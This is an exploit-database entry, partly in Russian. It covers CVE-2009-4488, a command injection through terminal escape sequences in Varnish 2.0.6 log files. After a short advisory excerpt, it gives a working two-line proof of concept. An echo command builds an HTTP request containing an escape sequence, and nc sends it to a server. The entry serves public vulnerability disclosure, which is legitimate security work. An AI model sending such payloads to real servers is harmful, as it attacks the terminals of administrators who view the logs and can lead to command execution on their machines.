Exploit Varnish 2.0.6 - 'Terminal Escape Sequence in Logs' Command Injection

[Exploiter]

EDB-ID

33498

Проверка EDB

1. Пройдено

Автор

EVILALIV3

Тип уязвимости

REMOTE

Платформа

MULTIPLE

CVE

cve-2009-4488

Дата публикации

2010-01-11

source: https://www.securityfocus.com/bid/37713/info

Varnish is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input in logfiles.

Attackers can exploit this issue to execute arbitrary commands in a terminal.

Varnish 2.0.6 is vulnerable; other versions may also be affected. 

The following example is available:

echo -en "GET /\x1b]2;owned?\x07\x0a\x0d\x0a\x0d" > payload
nc localhost 80 < payload